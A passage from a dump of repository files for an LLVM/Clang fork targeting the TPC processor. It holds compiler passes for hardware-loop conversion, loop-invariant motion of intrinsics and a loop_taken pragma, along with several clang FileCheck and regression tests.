be so if HW looping was correct\n CheckDefUsedInLoopTunes(MO, CurrentTopLoop);\n }\n }\n }\n}\n\n\nbool TPCUnHardwareLoops::IsLoopTreeSpoiled(unsigned rooti) { \n if (rooti == EMPTYREF) return false;\n bool spoiled = hwloops[rooti].spoiled;\n if (spoiled) return true;\n unsigned elderson = hwloops[rooti].DownLoop;\n unsigned brother = hwloops[rooti].RightLoop;\n spoiled |= IsLoopTreeSpoiled(elderson);\n spoiled |= IsLoopTreeSpoiled(brother);\n return spoiled;\n}\n\nvoid TPCUnHardwareLoops::MarkTreeAsSpoiled(unsigned rooti) {\n if (rooti == EMPTYREF) return;\n hwloops[rooti].spoiled = true;\n unsigned elderson = hwloops[rooti].DownLoop;\n unsigned brother = hwloops[rooti].RightLoop;\n MarkTreeAsSpoiled(elderson);\n MarkTreeAsSpoiled(brother);\n}\n\nvoid TPCUnHardwareLoops::EscalateSpoiled(void) {\n if (hwloops.empty())\n return;\n unsigned FirstLoop = 0;\n unsigned CurrTree = FirstLoop;\n if (SPScale == 0) {//no registers for counts comparing\n // will not be transforfed until sp speel will be supported\n hwloops[CurrTree].spoiled = true;\n }\n do {\n bool TreeSpoiled = IsLoopTreeSpoiled(CurrTree);\n if (TreeSpoiled) {\n MarkTreeAsSpoiled(CurrTree);\n }\n CurrTree = hwloops[CurrTree].RightLoop;\n } while (CurrTree != EMPTYREF);\n}\n\nbool TPCUnHardwareLoops::LoopToTransform(unsigned rooti) {\n if (rooti == EMPTYREF) return false;\n bool transform = hwloops[rooti].transform;\n if (transform)\n return true;\n unsigned elderson = hwloops[rooti].DownLoop;\n unsigned brother = hwloops[rooti].RightLoop;\n transform |= LoopToTransform(elderson);\n transform |= LoopToTransform(brother);\n return transform;\n}\n\nvoid TPCUnHardwareLoops::MarkTreeToTransform(unsigned rooti) {\n if (rooti == EMPTYREF) return;\n hwloops[rooti].transform = true;\n unsigned elderson = hwloops[rooti].DownLoop;\n unsigned brother = hwloops[rooti].RightLoop;\n MarkTreeToTransform(elderson);\n MarkTreeToTransform(brother);\n}\n\nvoid TPCUnHardwareLoops::MarkTreeToTransformUp(unsigned rooti) {\n if (rooti == EMPTYREF)\n return;\n hwloops[rooti].transform = true;\n unsigned father = hwloops[rooti].UpLoop;\n MarkTreeToTransformUp(father);\n}\n\nvoid TPCUnHardwareLoops::EscalateTransform(void) {\n if (hwloops.empty()) return;\n unsigned FirstLoop = 0;\n unsigned CurrTree = FirstLoop;\n do {\n if (LoopToTransform(CurrTree)) {\n MarkTreeToTransform(CurrTree);\n }\n CurrTree = hwloops[CurrTree].RightLoop;\n } while (CurrTree != EMPTYREF);\n}\n\nunsigned TPCUnHardwareLoops::ReachRight(unsigned leftmost) {\n unsigned lastnon = leftmost;\n while (leftmost != EMPTYREF) {\n lastnon = leftmost;\n leftmost = hwloops[leftmost].RightLoop;\n }\n return lastnon;\n}\n\nunsigned TPCUnHardwareLoops::FindElderBrother(unsigned endloop) {\n unsigned Parent = hwloops[endloop].UpLoop;\n unsigned left;\n if (Parent != EMPTYREF) {\n left = hwloops[Parent].DownLoop;\n } else { // top level\n left = 0;\n }\n if (left == endloop) {\n return EMPTYREF;\n }\n unsigned right = ReachRight(left);\n return right;\n}\n\nvoid TPCUnHardwareLoops::SetRight(unsigned endloop) {\n unsigned brother = FindElderBrother(endloop);\n if (brother != EMPTYREF) {\n hwloops[brother].RightLoop = endloop;\n }\n}\n\nvoid TPCUnHardwareLoops::ProcessStartLoop(MachineInstr *MI, unsigned nest_count,\n unsigned instr_count) {\n TLoopFrame lf;\n memset(&lf, 0, sizeof(lf));\n lf.StartInstr = MI;\n lf.nest = nest_count;\n if (isPrLoopInstr(MI))\n nest_count += 2;\n Register reg = MI->getOperand(nest_count).getReg();\n lf.LoopCount = SRegToNumber(reg);\n \n lf.InstrNumber = instr_count;\n lf.spoiled = false;\n lf.RightLoop = EMPTYREF;\n lf.UpLoop = EMPTYREF;\n lf.DownLoop = EMPTYREF;\n lf.LastClosedSon = EMPTYREF;\n unsigned lasti = hwloops.size();\n lf.UpLoop = CurrentTopLoop;\n if (CurrentTopLoop!=EMPTYREF &&\n hwloops[CurrentTopLoop].DownLoop == EMPTYREF) {\n hwloops[CurrentTopLoop].DownLoop = lasti;\n }\n if (InstrWithLoopReg(MI)) {\n lf.LoopRegInstr.insert(MI);\n }\n hwloops.push_back(lf);\n SetRight(lasti);\n\n CurrentTopLoop = lasti;\n unsigned int grand = hwloops[CurrentTopLoop].UpLoop;\n if (grand != EMPTYREF) {\n hwloops[grand].LastClosedSon = EMPTYREF;\n }\n}\n\nunsigned TPCUnHardwareLoops::ProcessEndLoop(MachineInstr *MI,\n unsigned instr_count) {\n unsigned inu;\n unsigned li = CurrentTopLoop; \n hwloops[li].EndInstr = MI;\n hwloops[li].InstrNumber = inu = instr_count - hwloops[li].InstrNumber + 1;\n if (ForceUnHardwareLoops) {\n // correct limitsize for partial transformation\n if (limitsize == BUNDLE_EXCEED_LIMIT) {\n //not corrected yet\n if (inu < limitsize) {\n limitsize = inu;\n }\n }\n }\n if (inu >= limitsize) {\n MarkTreeToTransformUp(li); // now whole tree\n AtLeastOneLoopWasToTRansform = true;\n }\n if (SPScaleEmpty()) {\n hwloops[li].spoiled = true;\n } else {\n unsigned sp = GiveSPScaleReg();\n hwloops[li].sp = sp;\n TakeSPScaleReg(sp);\n }\n if (hwloops[li].spoiled) {\n inu = li;\n do{\n hwloops[inu].spoiled = true;\n inu = hwloops[inu].UpLoop;\n } while (inu != EMPTYREF); \n }\n if (ForceUnHardwareLoops && !nomorelimitcorrection && hwloops[li].transform) {\n unsigned son = hwloops[li].DownLoop;\n if (son != EMPTYREF) {\n if (!hwloops[son].transform && hwloops[son].RightLoop==EMPTYREF) {\n if (hwloops[li].InstrNumber < 3*limitsize) {\n limitsize = hwloops[li].InstrNumber;\n hwloops[li].transform = false;\n nomorelimitcorrection = true;\n }\n }\n }\n }\n CurrentTopLoop = hwloops[li].UpLoop;\n unsigned int grand = CurrentTopLoop;\n while (grand != EMPTYREF) {\n if (hwloops[grand].LastClosedSon == EMPTYREF) {\n hwloops[grand].LastClosedSon = li;\n }\n grand = hwloops[grand].UpLoop;\n }\n return li;\n}\n\nvoid TPCUnHardwareLoops::SetNewRoots(unsigned RootFrom) {\n if (hwloops.empty())\n return;\n unsigned left = RootFrom;\n while (left != EMPTYREF) {\n if (hwloops[left].transform) {\n SetNewRoots(hwloops[left].DownLoop);\n } else {\n newroots.insert(left);\n }\n left = hwloops[left].RightLoop;\n SetNewRoots(left);\n }\n}\n\nvoid TPCUnHardwareLoops::SetHWCount(unsigned root, int count) { \n if (root == EMPTYREF) return;\n if (hwloops[root].transform)\n assert(!hwloops[root].transform);\n assert(count >= 32 && count <= 35);\n hwloops[root].NewCount = count;\n\n unsigned elderson = hwloops[root].DownLoop;\n if (elderson != EMPTYREF) {\n SetHWCount(elderson, count + 1);\n unsigned int brother = hwloops[elderson].RightLoop;\n while (brother != EMPTYREF) {\n if (hwloops[brother].transform) {\n } else {\n SetHWCount(brother, count + 1);\n }\n brother = hwloops[brother].RightLoop;\n }\n }\n}\n\nvoid TPCUnHardwareLoops::SetSoftCounts(unsigned RootFrom,unsigned count) {\n if (hwloops.empty())\n return;\n unsigned left = RootFrom;\n while (left != EMPTYREF) {\n if (hwloops[left].transform) {\n hwloops[left].NewCount = count;\n SetSoftCounts(hwloops[left].DownLoop,count-1);\n }\n left = hwloops[left].RightLoop;\n if (left != EMPTYREF && hwloops[left].transform) {\n SetSoftCounts(left, count);\n }\n }\n}\n\nvoid TPCUnHardwareLoops::SetNewCounts(void) {\n if (hwloops.empty())\n return;\n if (!newroots.empty()) {\n for (unsigned r : newroots) {\n SetHWCount(r, 32);\n }\n }\n SetSoftCounts(0,35);\n}\n\nstatic SmallVector<unsigned, 4> TransReg;\n\nstatic void UpdateLoopRegisters(MachineInstr *MI) {\n unsigned nop = MI->getNumOperands();\n if (isLoopInstr(MI)) {\n nop = 3;\n }\n for (unsigned i = 0; i< nop; i++) {\n MachineOperand *MO = &MI->getOperand(i);\n if (MO->isReg()) {\n int lreg = SRegToNumber(MO->getReg());\n if (lreg >= 32 && lreg <= 35) {\n unsigned rel = lreg - 32;\n unsigned newcount = TransReg[rel];\n assert(newcount >= 32 && newcount <= 35);\n if ((unsigned)lreg != newcount) { // need to replace\n Register nreg = NumberToSReg(newcount);\n MO->setReg(nreg);\n }\n }\n }\n }\n}\n\n\nvoid TPCUnHardwareLoops::ReplaceCounts(unsigned root) {\n if (root == EMPTYREF)\n return;\n unsigned rl = root;\n if (hwloops[rl].spoiled)\n return;\n do {\n unsigned newcount = hwloops[rl].NewCount;\n if (!(newcount >= 32 && newcount <= 35))\n assert(newcount >= 32 && newcount <= 35);\n TransReg.push_back(newcount);\n for (auto MI : hwloops[rl].LoopRegInstr) {\n if (MI == nullptr)\n continue;\n if (AlreadyUpdated.find(MI) == AlreadyUpdated.end()) {\n UpdateLoopRegisters(MI);\n AlreadyUpdated.insert(MI);\n }\n if (MI->isBundle()) {\n const MachineBasicBlock *MBB = MI->getParent();\n MachineBasicBlock::instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n MachineInstr &BMI = *MII;\n MachineInstr *mi = &BMI;\n if (AlreadyUpdated.find(mi) == AlreadyUpdated.end()) {\n UpdateLoopRegisters(mi);\n AlreadyUpdated.insert(mi);\n }\n }\n }\n }\n ReplaceCounts(hwloops[rl].DownLoop);\n TransReg.pop_back();\n rl = hwloops[rl].RightLoop;\n } while (rl != EMPTYREF);\n\n}\n\nbool TPCUnHardwareLoops::runOnMachineFunction(MachineFunction &Func) {\n\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnableTPCUnHardwareLoops)\n return false;\n\n hwloops.clear();\n newroots.clear();\n AlreadyUpdated.clear();\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n HII = Func.getSubtarget<TPCSubtarget>().getInstrInfo();\n HRI = Func.getSubtarget<TPCSubtarget>().getRegisterInfo();\n MachineLoopInfo &MLI = getAnalysis<MachineLoopInfo>();\n auto *AA = &getAnalysis<AAResultsWrapperPass>().getAAResults();\n auto *MBPI = &getAnalysis<MachineBranchProbabilityInfo>();\n TPCPacketizerList Packetizer(Func, MLI, AA, MBPI);\n NumReplaced = 0;\n MachineBasicBlock *MBB;\n unsigned instr_count = 0;\n unsigned nest_count = PRECOUNT;\n unsigned last_loop = EMPTYREF;\n \n InitSPScale(); \n\n for (MachineFunction::iterator MBBI = MF->begin(), MBBE = MF->end();\n MBBI != MBBE; ++MBBI) {\n MBB = &*MBBI;\n for (MachineBasicBlock::iterator mi = MBB->begin(), me = MBB->end();\n mi != me;) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n instr_count++;\n auto opc = MI->getOpcode();\n if (isLoopInstr(MI)) {\n nest_count++;\n ProcessStartLoop(MI, nest_count, instr_count);\n }\n else if (opc == TPC::LOOPEND) {\n last_loop = ProcessEndLoop(MI, instr_count);\n nest_count--;\n } else {\n ProcessNotLoopInstr(MI);\n if (InstrWithLoopReg(MI)) {\n unsigned ls;\n if (CurrentTopLoop != EMPTYREF) {\n ls = hwloops[CurrentTopLoop].LastClosedSon;\n if (ls == EMPTYREF) {\n ls = CurrentTopLoop;\n }\n hwloops[ls].LoopRegInstr.insert(MI);\n } else if (last_loop != EMPTYREF) {\n ls = hwloops[last_loop].LastClosedSon;\n if (ls == EMPTYREF) {\n ls = last_loop;\n }\n hwloops[ls].LoopRegInstr.insert(MI);\n } \n }\n }\n mi = nmi;\n }\n }\n assert(nest_count == PRECOUNT);\n if (AtLeastOneLoopWasToTRansform) {\n SetNewRoots(0);\n SetNewCounts();\n EscalateSpoiled();\n for (unsigned int i = 0; i < size(hwloops); i++) {\n if (TransformHWLoopBack(i, Func)) {\n NumReplaced++;\n }\n }\n if (NumReplaced > 0 && !hwloops.empty()) {\n ReplaceCounts(0);\n }\n }\n return NumReplaced > 0;\n}\n" }, { "alpha_fraction": 0.5401337742805481, "alphanum_fraction": 0.6571906208992004, "avg_line_length": 48.83333206176758, "blob_id": "f0d29673375882b1960a5ece808f9fb8a3c18618", "content_id": "404de34036b9164944185e637cced102458bd366", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 598, "license_type": "permissive", "max_line_length": 151, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float128_to_bfloat128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float128 *sptr = (float128 *)src;\n bfloat128 *dptr = (bfloat128 *)dest;\n float128 src_val = *sptr;\n *dptr++ = convert_float128_to_bfloat128(src_val, 0);\n *dptr = convert_float128_to_bfloat128(src_val, SW_RU);\n}\n\n// CHECK-IR: fptrunc <128 x float> {{.*}} to <128 x bfloat>\n// CHECK-IR: call <128 x bfloat> @llvm.tpc.convert.v128bf16.v128f32.i1(<128 x float> {{.*}}, i8 0, i32 131328, <128 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 45.5, "blob_id": "c661179b23545c7429d4a5576efc01af3d99a110", "content_id": "84fa0b900a0ef8b9206d6b01e91c1b9af5bb3eb8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 650, "license_type": "permissive", "max_line_length": 139, "num_lines": 14, "path": "/clang/test/RC99/IntrinsicsM/st_l/f32_st_l_s_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned dest, float value, _Bool pred){\n f32_st_l_s_s_b(dest, value, 0, pred, 1);\n f32_st_l_s_s_b(0x100, value, 1, pred, 0);\n}\n\n// CHECK: mov %SP[[PRED:[0-9]+]], %S2\n// CHECK: st_l %S0, %S1, !%SP[[PRED]]\n// CHECK: st_l mmio 0x100, %S1, %SP[[PRED]]\n// CHECK-GEN3P: st_l mmio unlock %S{{[0-9]+}}, %S1, %SP[[PRED]]\n// CHECK-GEN3P: st_l mmio unlock 0x200, %S1, !%SP[[PRED]]" }, { "alpha_fraction": 0.6240000128746033, "alphanum_fraction": 0.6268799901008606, "avg_line_length": 33.346153259277344, "blob_id": "84b113674c3d3da19fb99ecd1479af1375fddfdb", "content_id": "59e979d685867a50f0dce333c31d5738c6c8bc16", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6250, "license_type": "permissive", "max_line_length": 80, "num_lines": 182, "path": "/llvm/lib/Transforms/Scalar/TPC_LICM.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPC_LICM.cpp --- IR LICM--------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// Author: Michael Zuckerman\n//===----------------------------------------------------------------------===//\n// This pass implement a simple LICM for moving a list of known internists.\n// How does this pass work:\n// 1) The TPC_LICM search for intrinsic from a list of intrinsics\n// (LicmIntrinsics).\n// 2) If exist: find related instruction parameters.(searchSource)\n// 3) Move all listed instruction to the first basic block\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Analysis/LoopPass.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include <vector>\n\nusing namespace llvm;\n\nstatic const char PassDescription[] = \"TPC-LICM pass.\";\nstatic const char PassName[] = \"tpc-licm\";\n\n#define DEBUG_TYPE \"tpc-licm\"\nstatic cl::opt<bool>\n TPCLICM(\"tpc-licm-pass\",\n cl::desc(\"tpc-licm pass\"),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCLicmPass : public LoopPass {\npublic:\n static char ID;\n StringRef getPassName() const override { return PassDescription; }\n TPCLicmPass() : LoopPass(ID) {\n initializeTPCLicmPassPass(*PassRegistry::getPassRegistry());\n LicmIntrinsics.push_back(Intrinsic::tpc_lookup);\n LicmIntrinsics.push_back(Intrinsic::tpc_lookup_1c);\n LicmIntrinsics.push_back(Intrinsic::tpc_lookup_2c);\n LicmIntrinsics.push_back(Intrinsic::tpc_lookup_c0);\n LicmIntrinsics.push_back(Intrinsic::tpc_lookup_c1c2);\n sourceIntrinsics.push_back(Intrinsic::read_register);\n }\n bool runOnLoop(Loop *Lp, LPPassManager &LPM) override;\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<LoopInfoWrapperPass>();\n }\n void searchSource(Instruction *II, BasicBlock *BB,\n std::vector<Instruction *> &chin);\n\nprivate:\n std::vector<Intrinsic::ID> LicmIntrinsics;\n std::vector<Intrinsic::ID> sourceIntrinsics;\n IntrinsicInst *isLICMIntrinsic(Instruction *II);\n};\n} // namespace\n\nINITIALIZE_PASS(TPCLicmPass, PassName, PassDescription, false, false)\nchar TPCLicmPass::ID = 0;\nPass *llvm::createTPCLICMPass() { return new TPCLicmPass(); }\n\n/// @brief isLICMIntrinsic\n/// \\param II IR instruction\n/// \\return check if LicmIntrinsics contains II, if true return pointer to\n/// IntrinsicInst else null.\nIntrinsicInst *TPCLicmPass::isLICMIntrinsic(Instruction *II) {\n if (auto val = dyn_cast<IntrinsicInst>(II)) {\n for (auto element : LicmIntrinsics) {\n if (val->getIntrinsicID() == element)\n return val;\n }\n }\n return NULL;\n}\n\n/// The function search all instruction chin def to move together with the\n/// first instruction.\n/// \\param II\n/// \\param BB the scope of check\n/// \\param chin a reference parameter contain a list of instruction to move.\nvoid TPCLicmPass::searchSource(Instruction *II, BasicBlock *BB,\n std::vector<Instruction *> &chin) {\n for (unsigned i = 0; i < II->getNumOperands(); i++) {\n if (auto intrin = dyn_cast<IntrinsicInst>(II)) {\n if (std::find(std::begin(sourceIntrinsics), std::end(sourceIntrinsics),\n intrin->getIntrinsicID()) != std::end(sourceIntrinsics)) {\n chin.push_back(II);\n return;\n }\n } /// If instruction lead to previous Basic block exit\n else if (II->getParent() != BB) {\n return;\n /// If reach to a PHI node\n } else if (II->getOpcode() == Instruction::PHI) {\n return;\n /// Else continue to search\n } else if (auto sourceII = dyn_cast<Instruction>(II->getOperand(i))) {\n searchSource(sourceII, BB, chin);\n /// Only with return with relevant instruction push it to chin\n if (chin.size() > 0)\n chin.push_back(II);\n }\n }\n return;\n}\n\n///\n/// \\param Lp Current loop\n/// \\param LPM LPM pass manger\n/// \\return true if runOnLoop end with transformation or not.\nbool TPCLicmPass::runOnLoop(Loop *Lp, LPPassManager &LPM) {\n\n if(!TPCLICM)\n return false;\n\n bool change = false;\n Loop *parentLoop = Lp->getParentLoop();\n BasicBlock *BB = NULL;\n std::vector<BasicBlock *> basicBlockVec = Lp->getBlocksVector();\n std::vector<Instruction *> movIns;\n\n /// Check on which basic block to work.\n if (parentLoop) {\n BB = parentLoop->getHeader();\n } else {\n BB = Lp->getLoopPredecessor();\n }\n\n /// If there is no upper basic block, exit.\n if (!BB)\n return false;\n /// Fins the last instruction and move the movIns before it\n auto BBp = BB->end();\n BBp--;\n\n for (auto BB : basicBlockVec) {\n for (BasicBlock::iterator II = BB->begin(); II != BB->end(); II++) {\n if (auto IntrinsicsTpc = isLICMIntrinsic(&*II)) {\n bool isConst = true;\n /// Check if all intrinsics parameters are constant\n for (unsigned i = 1; i < IntrinsicsTpc->getNumOperands(); i++) {\n isConst &=\n dyn_cast<llvm::Constant>(IntrinsicsTpc->getOperand(i)) != NULL;\n }\n if (!isConst)\n continue;\n /// Only the first operand can not be constant\n Instruction *inst =\n dyn_cast<llvm::Instruction>(IntrinsicsTpc->getOperand(0));\n std::vector<Instruction *> chin;\n searchSource(inst, BB, chin);\n if (chin.size() == 0 || !inst)\n continue;\n for (auto instInChin : chin) {\n if (std::find(std::begin(movIns), std::end(movIns), instInChin) ==\n std::end(movIns)) {\n movIns.push_back(instInChin);\n }\n }\n movIns.push_back(IntrinsicsTpc);\n }\n }\n /// Move all instruction above the last instruction in the previous basic\n /// block.\n for (auto IIMov : movIns) {\n IIMov->moveBefore(dyn_cast<Instruction>(&*BBp));\n change = true;\n }\n movIns.clear();\n }\n return change;\n}" }, { "alpha_fraction": 0.42962056398391724, "alphanum_fraction": 0.509179949760437, "avg_line_length": 26.233333587646484, "blob_id": "f5a493836f2f3db111025fc4bda104b0388dd115", "content_id": "96470baa37bb82c3855d73dd3ecb458484ee7177", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 817, "license_type": "permissive", "max_line_length": 106, "num_lines": 30, "path": "/clang/test/RC99/IntrinsicsM/ld_l/s_bf16_ld_l_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned addr, int dest) {\n _BFloat16 __local *dptr = (_BFloat16 __local *)dest;\n\n _BFloat16 result = s_bf16_ld_l_s(addr, 0);\n *dptr++ = result;\n \n result = s_bf16_ld_l_s(addr, 1);\n *dptr++ = result;\n \n result = s_bf16_ld_l_s(0x20, 0);\n *dptr++ = result;\n \n result = s_bf16_ld_l_s(0x20, 1);\n *dptr = result;\n}\n\n//CHECK: ld_l %S[[Val1:[0-9]+]], %S0, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val1]]\n\n//CHECK: ld_l mmio %S[[Val2:[0-9]+]], %S0, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val2]]\n\n//CHECK: ld_l %S[[Val3:[0-9]+]], 0x20, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val3]]\n\n//CHECK: ld_l mmio %S[[Val4:[0-9]+]], 0x20, %SP0\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val4]]\n" }, { "alpha_fraction": 0.6310541033744812, "alphanum_fraction": 0.6730769276618958, "avg_line_length": 92.5999984741211, "blob_id": "0f3439810c68b9572636ba31549131b25ababb33", "content_id": "0b2c6d839f5d5e16970fb71f3cac16ba3f4794bc", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1404, "license_type": "permissive", "max_line_length": 233, "num_lines": 15, "path": "/clang/test/RC99/regression/gaudi-87.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nvoid main(int dest, int x) {\n float __local *s_ptr = (float __local *) dest;\n float64 __local *v_ptr = (float64 __local *)x;\n uint64 v_uint = 0;\n float aaa = (float)v_uint; // expected-error{{invalid conversion between vector type 'uint64' (vector of 64 'unsigned int' values) and scalar type 'float'}}\n float64 v1_float = *((float64*)&v_uint); // legal\n float v2_float = *((float *)&v_uint); // expected-error{{invalid conversion between vector type 'uint64' (vector of 64 'unsigned int' values) and scalar type '__attribute__((address_space(1))) float'}}\n float64 v3_float = *((float64 *)&aaa); // expected-error{{invalid conversion between scalar type 'float' and vector type '__attribute__((address_space(2))) float64' (vector of 64 'float' values)}}\n float v4_float = *((float *)v_ptr); // expected-error{{invalid conversion between vector type '__attribute__((address_space(2))) float64' (vector of 64 'float' values) and scalar type '__attribute__((address_space(1))) float'}}\n float64 v5_float = *((float64 *)v_ptr); // legal\n float64 v6_float = *((float64 *)s_ptr); // expected-error{{invalid conversion between scalar type '__attribute__((address_space(1))) float' and vector type '__attribute__((address_space(2))) float64' (vector of 64 'float' values)}}\n float v7_float = *((float *)s_ptr); // legal\n}\n" }, { "alpha_fraction": 0.6551526784896851, "alphanum_fraction": 0.6561068892478943, "avg_line_length": 33.24836730957031, "blob_id": "0505501c09ecede6b53e9ad2a01b34ddcd6705c8", "content_id": "8a759565f807a3a2324de387b1fb190cb2597142", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5240, "license_type": "permissive", "max_line_length": 80, "num_lines": 153, "path": "/llvm/lib/Transforms/Scalar/LoopTaken.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- LoopTaken.cpp - Honor loop_taken pragma -------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// Pass to honor loop_taken pragma. Currently it generates assume intrinsic\n// indicating a guranteed entry to the particular loop, this helps to keep\n// the CFG simple for later passes like Unroll And Jam.\n// In the future this pass can serve as the place to honor loop_taken in other\n// ways too.\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/ADT/PriorityWorklist.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/IR/BasicBlock.h\"\n#include \"llvm/IR/CFG.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Transforms/Scalar/LoopPassManager.h\"\n#include \"llvm/Transforms/Utils.h\"\n#include \"llvm/Transforms/Utils/Local.h\"\n#include <list>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"looptaken\"\n\nnamespace {\nstruct LoopTaken : public FunctionPass {\n static char ID; // Pass identification, replacement for typeid\n LoopTaken() : FunctionPass(ID) {\n initializeLoopTakenPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<DominatorTreeWrapperPass>();\n AU.addRequired<LoopInfoWrapperPass>();\n AU.addRequired<ScalarEvolutionWrapperPass>();\n AU.addRequired<AssumptionCacheTracker>();\n }\n\n bool runOnFunction(Function &F) override;\n};\n} // namespace\n\nchar LoopTaken::ID = 0;\nINITIALIZE_PASS_BEGIN(LoopTaken, \"looptaken\", \"honor loop taken pragma\", false,\n false)\nINITIALIZE_PASS_DEPENDENCY(DominatorTreeWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(ScalarEvolutionWrapperPass)\nINITIALIZE_PASS_DEPENDENCY(AssumptionCacheTracker)\nINITIALIZE_PASS_END(LoopTaken, \"looptaken\", \"honor loop taken pragma\", false,\n false)\n\nstatic bool insertAssume(Loop *const L, ScalarEvolution &SE,\n Instruction *InsertP) {\n LLVM_DEBUG(dbgs() << \"insertAssume: \\n\");\n Optional<Loop::LoopBounds> LB = L->getBounds(SE);\n PHINode *p = L->getInductionVariable(SE);\n if (LB && (p != nullptr)) {\n Value &Initial = LB->getInitialIVValue();\n Value &Final = LB->getFinalIVValue();\n\n llvm::CmpInst::Predicate Pred =\n (LB->getDirection() == Loop::LoopBounds::Direction::Increasing)\n ? ICmpInst::ICMP_SGT\n : ICmpInst::ICMP_SLT;\n\n Function *AssumeIntrinsic = Intrinsic::getDeclaration(\n L->getHeader()->getModule(), Intrinsic::assume);\n ICmpInst *Cmp = new ICmpInst(Pred, &Final, &Initial);\n Cmp->insertBefore(InsertP);\n CallInst *CI = CallInst::Create(AssumeIntrinsic, {Cmp});\n CI->insertAfter(Cmp);\n LLVM_DEBUG(dbgs() << \"builtin assume inserted succesfully!\\n\");\n return true;\n }\n LLVM_DEBUG(dbgs() << \"builtin assume not inserted!\\n\");\n return false;\n}\n\nstatic bool processLoopTaken(Loop *const L, ScalarEvolution &SE,\n Instruction *InsertP) {\n LLVM_DEBUG(dbgs() << \"processLoopTaken: \\n\");\n bool Ret = false;\n BasicBlock *Latch = L->getLoopLatch();\n if (Latch == nullptr)\n return Ret;\n\n MDNode *LoopMD = Latch->getTerminator()->getMetadata(LLVMContext::MD_loop);\n\n if (LoopMD == nullptr)\n return Ret;\n\n MDNode *MD = nullptr;\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.taken\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Taken hint metadata should have two operands.\");\n\n if ((Ret = insertAssume(L, SE, InsertP))) {\n break;\n }\n }\n }\n return Ret;\n}\n\nbool 